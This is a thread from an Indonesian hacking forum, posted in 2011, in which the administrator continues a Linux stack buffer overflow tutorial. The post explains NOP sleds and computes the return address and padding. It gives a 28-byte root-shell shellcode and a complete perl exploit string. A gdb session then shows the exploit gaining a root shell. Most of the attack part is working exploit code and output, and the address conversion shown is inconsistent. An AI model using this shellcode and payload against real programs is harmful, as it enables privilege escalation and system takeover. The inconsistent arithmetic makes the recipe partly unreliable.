.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 [continue] Linux buffer overflow tutorial

Go down 
2 posters
PengirimMessage
BumiayuKita
Administrator
Administrator
BumiayuKita


Jumlah posting : 2456
Points : 3020
Reputation : 85
Join date : 06.02.11
Age : 34
Lokasi : bumiayu

[continue] Linux buffer overflow tutorial  Empty
PostSubyek: [continue] Linux buffer overflow tutorial    [continue] Linux buffer overflow tutorial  Icon_minitimeFri Apr 01, 2011 12:13 am

-- Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.

- NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah "90" atau "\x90" dalam bentuk shellcode.

- NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e 'print "\x90" x 40'`. maka kita akan mendapatkan "x90" sampai 40 bytes (40 kali).

- PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya

selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.

root@bt:~# printf "%x\n" $((0xbffff210-300))
bffff0e4
root@bt:~#

alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \x04\xf1\xff\xbf

sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
root@bt:~# print "%d\n" $((408 -
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
root@bt:~# print "%d\n" $((408 - 200

shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :

"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\ x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80"

shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
root@bt:~# printf "%d\n" $((408 - 200 - 28))
180
root@bt:~#

jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.

root@bt:~# printf "%d\n" $((180/4))
45
root@bt:~#

ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.

maka payload kita akan seperti berikut :

NOPSLED + SHELLCODE + ESP

`perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`

sekarang saatnya kita run paload kita tersebut langsung saja di debugger.

(gdb) run `perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`
Starting program: /root/bof `perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`

Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# echo WIN.
WIN.
sh-3.2# exit

Program exited normally.
(gdb) quit

selamat ! anda telah sukses mengexploitasi buffer overflow !

-- special thanks : devilzc0de crew and jasakom crew
: [You must be registered and logged in to see this link.] / [You must be registered and logged in to see this link.] - [You must be registered and logged in to see this link.] , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id
Kembali Ke Atas Go down
http://aljinet.blogspot.com
Black.exe
Global Mod
Global Mod
Black.exe


Jumlah posting : 844
Points : 1491
Reputation : 44
Join date : 08.01.11
Age : 35

[continue] Linux buffer overflow tutorial  Empty
PostSubyek: Re: [continue] Linux buffer overflow tutorial    [continue] Linux buffer overflow tutorial  Icon_minitimeMon Jul 04, 2011 8:22 pm

ijin nyimak gan [continue] Linux buffer overflow tutorial  1513430891
Kembali Ke Atas Go down
BumiayuKita
Administrator
Administrator
BumiayuKita


Jumlah posting : 2456
Points : 3020
Reputation : 85
Join date : 06.02.11
Age : 34
Lokasi : bumiayu

[continue] Linux buffer overflow tutorial  Empty
PostSubyek: Re: [continue] Linux buffer overflow tutorial    [continue] Linux buffer overflow tutorial  Icon_minitimeMon Jul 04, 2011 9:40 pm

baca baca gan itu dari forum sebelah saya share di mari x aja belum ada yang tau [continue] Linux buffer overflow tutorial  3529815765
Kembali Ke Atas Go down
http://aljinet.blogspot.com
Sponsored content





[continue] Linux buffer overflow tutorial  Empty
PostSubyek: Re: [continue] Linux buffer overflow tutorial    [continue] Linux buffer overflow tutorial  Icon_minitime

Kembali Ke Atas Go down
 
[continue] Linux buffer overflow tutorial
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Linux buffer overflow tutorial
» Tutorial chmod hak akses di Linux
» SnackAmp 3.1.3 (smp) Buffer Overflow Vulnerability
» Install Kylix di Linux (Alternatif Pengganti Delphi di Linux)
» Free MP3 CD Ripper 1.1 Local Buffer Overflow

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Operating system ( OS ) :: Linux-
Navigasi: